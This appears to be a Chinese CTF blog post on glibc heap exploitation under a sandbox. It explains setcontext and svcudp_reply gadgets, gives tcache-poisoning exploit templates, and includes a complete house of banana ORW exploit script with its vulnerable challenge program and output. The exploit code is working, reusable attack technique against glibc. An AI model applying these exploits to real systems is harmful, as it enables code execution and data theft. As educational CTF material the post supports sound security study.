0x00

堆题开沙箱,越做越心慌
前文

0x01 利用 setcontext

setcontext函数是libc中一个独特的函数,它的功能是传入一个 SigreturnFrame 结构指针,然后根据 SigreturnFrame 的内容设置各种寄存器。 因此从 setcontext+53(不同 libc 偏移可能不同)的位置开始有如下 gadget,即根据 rdi 指向的 SigreturnFrame 结构设置寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//glibc2.27
0x7ffff7852085 <setcontext+53> mov rsp, qword ptr [rdi + 0xa0]
0x7ffff785208c <setcontext+60> mov rbx, qword ptr [rdi + 0x80]
0x7ffff7852093 <setcontext+67> mov rbp, qword ptr [rdi + 0x78]
0x7ffff7852097 <setcontext+71> mov r12, qword ptr [rdi + 0x48]
0x7ffff785209b <setcontext+75> mov r13, qword ptr [rdi + 0x50]
0x7ffff785209f <setcontext+79> mov r14, qword ptr [rdi + 0x58]
0x7ffff78520a3 <setcontext+83> mov r15, qword ptr [rdi + 0x60]
0x7ffff78520a7 <setcontext+87> mov rcx, qword ptr [rdi + 0xa8]
0x7ffff78520ae <setcontext+94> push rcx
0x7ffff78520af <setcontext+95> mov rsi, qword ptr [rdi + 0x70]
0x7ffff78520b3 <setcontext+99> mov rdx, qword ptr [rdi + 0x88]
0x7ffff78520ba <setcontext+106> mov rcx, qword ptr [rdi + 0x98]
0x7ffff78520c1 <setcontext+113> mov r8, qword ptr [rdi + 0x28]
0x7ffff78520c5 <setcontext+117> mov r9, qword ptr [rdi + 0x30]
0x7ffff78520c9 <setcontext+121> mov rdi, qword ptr [rdi + 0x68]
0x7ffff78520cd <setcontext+125> xor eax, eax EAX => 0
0x7ffff78520cf <setcontext+127> ret

可能会有疑惑没有对rip的控制,其实这里的push rcx结合上后续的ret就是在给rip赋值
以及需要注意的是在glibc2.29及以上,传入的 SigreturnFrame 结构指针不使用rdi,而是改为了rdx,这需要我们寻找到可以控制rdxgadget。在glibc2.31,偏移从setcontext+53变为了setcontext+61
一般对setcontext的利用都是在堆攻击中,一般是两个打法:一是直接打ROP,二是利用mprotect再打一个shellcode
参考其他博客放两个适用于glibc2.27示意模版,具体利用还需调整(直接用SigreturnFrame()适用于简单的不需要布置其他数据的情况)

template-for-glibc2.27

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# tcache poisoning
add(0,0x3f8)
delete(0)
edit(0,0x8,p64(libc.sym['__free_hook']))
add(1,0x3f8)
add(0,0x3f8) # __free_hook

# setcontext+shellcode
payload=p64(libc.sym['setcontext']+53)
payload+=p64(libc.sym['__free_hook']+0x10)
payload+=asm('''
xor rdi,rdi
mov rsi,%d
mov rdx,0x2000
xor rax,rax
syscall

jmp rsi
''' % (libc.sym['__free_hook'] & ~0xfff))

edit(0,len(payload),payload)
frame=SigreturnFrame()
frame.rsp=libc.sym['__free_hook']+8
frame.rip=libc.sym['mprotect']
frame.rdi=libc.sym['__free_hook'] & ~0xfff
frame.rsi=0x2000
frame.rdx=7

edit(1,len(frame.__bytes__()),frame.__bytes__())
delete(1)

这是打shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 
### tcache poisoning
add(0,0x3f8)
delete(0)
edit(0,0x8,p64(libc.sym['__free_hook']))
add(0,0x3f8)
add(1,0x3f8) # __free_hook
add(2,0x50)
### setcontext+rop

payload=b''
payload+=p64(libc.sym['setcontext']+53)
# read(3,__free_hook+0x108,0x20)
payload+=p64(libc.search(asm('pop rdi;ret')).__next__())
payload+=p64(3)
payload+=p64(libc.search(asm('pop rsi;ret')).__next__())
payload+=p64(libc.sym['__free_hook']+0x108)
payload+=p64(libc.search(asm('pop rdx;ret')).__next__())
payload+=p64(0x20)
payload+=p64(libc.sym['read'])
# puts(__free_hook+0x108)
payload+=p64(libc.search(asm('pop rdi;ret')).__next__())
payload+=p64(libc.sym['__free_hook']+0x108)
payload+=p64(libc.sym['puts'])
payload=payload.ljust(0x100,b'\x00')
payload+=b'./flag\x00'
edit(1,len(payload),payload)

frame=SigreturnFrame()
# open('./flag')
frame.rdi=libc.sym['__free_hook']+0x100
frame.rsi=0
frame.rdx=0
frame.rip=libc.sym['open']
frame.rsp=libc.sym['__free_hook']+0x8

edit(2,len(frame.__bytes__()),frame.__bytes__())
delete(2)

这是打ROP
值得一提的是,在高版本的house系列攻击中也可以结合setcontext,尽管rdx不好控制,以house of banana为例,其的攻击链中却存在控制rdx的方法

house-of-banana-orw-up-to-glibc2.29

house of banana中,我们劫持fini_array,在这个过程中

1
2
while (i-- > 0)
((fini_t) array[i]) ();

这里每次调用的函数指针都为上一个的地址减8(也就是逆序遍历),直到最后调用函数指针的基地址array,而每一次调用函数指针,其rdx均为上一次调用的函数指针的地址,而在house of banana攻击中,这个函数指针地址都是被我们劫持的堆地址,那么这里的rdx也就变成了我们布置函数的堆地址。(在glibc2.29+有效)

这样一来,我们布置函数时候,先布置setcontext相关的gadget,再布置一个ret,然后通过l_info[DT_FINI_ARRAYSZ]设置好i为2,那么逆序遍历,先执行ret,执行完后rdx也就被设置成了我们布置这个ret的堆地址,我们在这里布置好sigFrame(其实需要我们根据setcontext+53中控制寄存器所需的偏移来布置数据),接下来执行setcontext+53,那么也就可以实现类似SROP的效果,劫持几乎所有寄存器
我们控制rsp指向我们布置ROP_chain的起始地址,控制rcxret,这样也就启动了ROP链;这里也可以实现一个类似shellcode中二次读的操作,就是控制rcxread,控制rsp为读入的起始地址,然后读入一个ROP_chainread结束返回后也就执行了ROP;又或者是直接设置好寄存器然后控制rcxopen,可以缩短后续的ropchain
实操一下,还是用分析hosue of banana时候板子题,只不过编译到glibc2.31,我们起个ubuntu20.04docker编译一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
//gcc pwn.c -o pwn -w -g
//ubuntu 20.04 GLIBC 2.31-0ubuntu9.18
#include<stdio.h>
#include <unistd.h>
#define num 10
void *chunk_list[num];
int chunk_size[num];

void init()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}

void menu()
{
puts("1.add");
puts("2.show");
puts("3.edit");
puts("4.delete");
puts("5.exit");
puts("Your choice:");
}


int add()
{
int index,size;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("Size:");
scanf("%d",&size);
if(size<0x80||size>0x500)
exit(1);
chunk_list[index] = calloc(size,1);
chunk_size[index] = size;
}

int edit()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("context: ");
read(0,chunk_list[index],chunk_size[index]);
}

int delete()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);

free(chunk_list[index]);
}

int show()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);

puts("context: ");
puts(chunk_list[index]);
}


int main()
{
int choice;
init();
while(1){
menu();
scanf("%d",&choice);
if(choice==5){
exit(0);
}
else if(choice==1){
add();
}
else if(choice==2){
show();
}
else if(choice==3){
edit();
}
else if(choice==4){
delete();
}
}
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/libc6_2.31-0ubuntu9.18_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/libc6-dbg_2.31-0ubuntu9.18_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/glibc-source_2.31-0ubuntu9.18_all/usr/src/glibc/glibc-2.31
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


def add(index,size):
io.sendlineafter('Your choice:\n', str(1))
io.sendlineafter('index:\n', str(index))
io.sendlineafter("Size:\n", str(size))

def show(index):
io.sendlineafter('Your choice:\n', str(2))
io.sendlineafter('index:\n', str(index))

def edit(index, content):
io.sendlineafter('Your choice:\n', str(3))
io.sendlineafter('index:\n', str(index))
io.sendafter("context: \n",content)

def free(index):
io.sendlineafter('Your choice:\n', str(4))
io.sendlineafter('index:\n', str(index))


def pwn() :
add(0, 0x428)
add(1, 0x500)
add(2, 0x418)
free(0)
show(0)
io.recvuntil('context: \n')
libc_base = u64(io.recv(6).ljust(8 , b'\x00')) - 96 - 0x1ecb80

add(3, 0x500)
edit(0, b'a'*0x10)
show(0)
io.recvuntil(b'a'*0x10)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x290

log.info("libc_base --> "+hex(libc_base))
log.info("heap_base --> "+hex(heap_base))

rtld_global = libc_base + 0x228060 # 这个是gdb调试出来的, 但是使用0x222060同时l_next修改为0x223740,则不需要爆破,为什么呢?

#link_map3 = libc_base + 0x7f7018
#one_gadget = libc_base + 0x4f302

open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
pop_rdi_ret = libc_base + 0x23b6a
pop_rsi_ret = libc_base + 0x2601f
pop_rdx_r12_ret = libc_base + 0x119431
setcontext = libc_base + libc.sym['setcontext']
ret = libc_base + 0x22679

free(2)
edit(0, b'a'*0x18 + p64(rtld_global-0x20))
add(4, 0x500)

chunk_addr = heap_base + 0xbd0
log.info("chunk_addr --> "+hex(chunk_addr))
link_map = p64(0)
link_map = link_map.ljust(0x18 - 0x10, b'\x00') + p64(libc_base + 0x229740) # l_next
link_map = link_map.ljust(0x28 - 0x10, b'\x00') + p64(chunk_addr) # l_real
link_map = link_map.ljust(0x40 - 0x10, b'\x00') + p64(0x1a) + p64(chunk_addr + 0x1f8)
link_map = link_map.ljust(0x60 - 0x10, b'\x00') + p64(0x1c) + p64(0x10)
link_map = link_map.ljust(0x110 - 0x10, b'\x00') + p64(chunk_addr + 0x40) # l_info[26]
link_map = link_map.ljust(0x120 - 0x10, b'\x00') + p64(chunk_addr + 0x60) # l_info[28]
link_map = link_map.ljust(0x1f8 - 0x10, b'\x00') + p64(setcontext+61) + p64(ret) #这里的ret所被布置地址会被赋给rdx,也就是chunk_addr + 0x200
link_map = link_map.ljust(0x200 - 0x10 + 0x68, b'\x00') + p64(chunk_addr + 0x330) #rdi
link_map = link_map.ljust(0x200 - 0x10 + 0x70, b'\x00') + p64(0) #rsi
link_map = link_map.ljust(0x200 - 0x10 + 0xa0, b'\x00') + p64(chunk_addr + 0x350) #rsp指向ropchain
link_map = link_map.ljust(0x200 - 0x10 + 0xa8, b'\x00') + p64(open) #rcx 会被pop进rip
link_map = link_map.ljust(0x31c - 0x10, b'\x00') + p8(0x8) # l_init_called
link_map = link_map.ljust(0x330 - 0x10, b'\x00') + b'flag\x00\x00\x00\x00'

ropchain = p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + \
p64(chunk_addr + 0x450) + p64(pop_rdx_r12_ret) + \
p64(0x30) + p64(0) + p64(read) + p64(pop_rdi_ret) + \
p64(1) + p64(pop_rsi_ret) + p64(chunk_addr + 0x450) + \
p64(pop_rdx_r12_ret) + p64(0x30) + p64(0) + p64(write)

link_map = link_map.ljust(0x350 - 0x10, b'\x00') + ropchain

edit(2, link_map)

while True:
try:
io = start()
pwn()
io.sendlineafter('Your choice:\n', str(5).encode())
io.interactive()
break
except:
io.close()
continue

效果

1
2
3
4
5
6
7
8
9
[*] Switching to interactive mode
[DEBUG] Received 0x30 bytes:
00000000 66 6c 61 67 7b 74 68 69 73 2d 61 2d 74 65 73 74 │flag│{thi│s-a-│test│
00000010 2d 66 6f 72 2d 62 61 6e 61 6e 61 2d 6f 72 77 7d │-for│-ban│ana-│orw}│
00000020 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000030
flag{this-a-test-for-banana-orw}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
$

除了house of banana,在其他house of攻击中,如果能控制rdx的话,也能利用setcontextROP,一通百通,这里不再列举

gadget-to-control-rdx

然而house of banana攻击链中这种汇编指令级别的控制rdx的方法并不稳定,在高版本(哪个版本仍待考证)也许就不行了,那么找到一个可以控制rdxgadget是有必要的,如果能转换rdirdx,那么house of apple2中利用setcontext来打orw也是可以实现的

1
2
3
mov rdx, qword ptr [rdi + 8]
mov qword ptr [rsp], rax
call qword ptr [rdx + 0x20]

例如上面的gadget,可以通过rdi来控制rdx,并且存在call,对于像house of apple2这样只能劫持一次执行的攻击,执行流就不会断掉,也就可以再结合setcontext来进行ROP

0x02 利用 svcudp_reply

1
2
3
4
5
6
<svcudp_reply+26>:    mov    rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]

libc.sym['svcudp_reply']+26处有这样的gadget,可以通过rdi来控制rbp,从而控制rax,进而可以控制程序执行到leave;ret实现栈迁移也就劫持了rsp,那么就可以进行ROP了。对于house of apple2而言是进行ROP的利器